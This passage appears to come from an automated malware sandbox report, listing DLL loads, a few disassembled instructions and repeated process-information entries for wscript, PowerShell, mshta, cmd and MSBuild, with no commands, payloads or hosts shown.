Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Code function: 3_2_058DD624 push eax; iretd	3_2_058DD625
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C3A2CC pushfd ; ret	5_2_00C3A2CE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C37561 push 8B09614Eh; iretd	5_2_00C37566
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C31CFB pushad ; retf	5_2_00C31D7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C31DCB pushad ; retf	5_2_00C31DEA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C31D8B pushad ; retf	5_2_00C31D9A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C31D9B pushad ; retf	5_2_00C31DAA

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
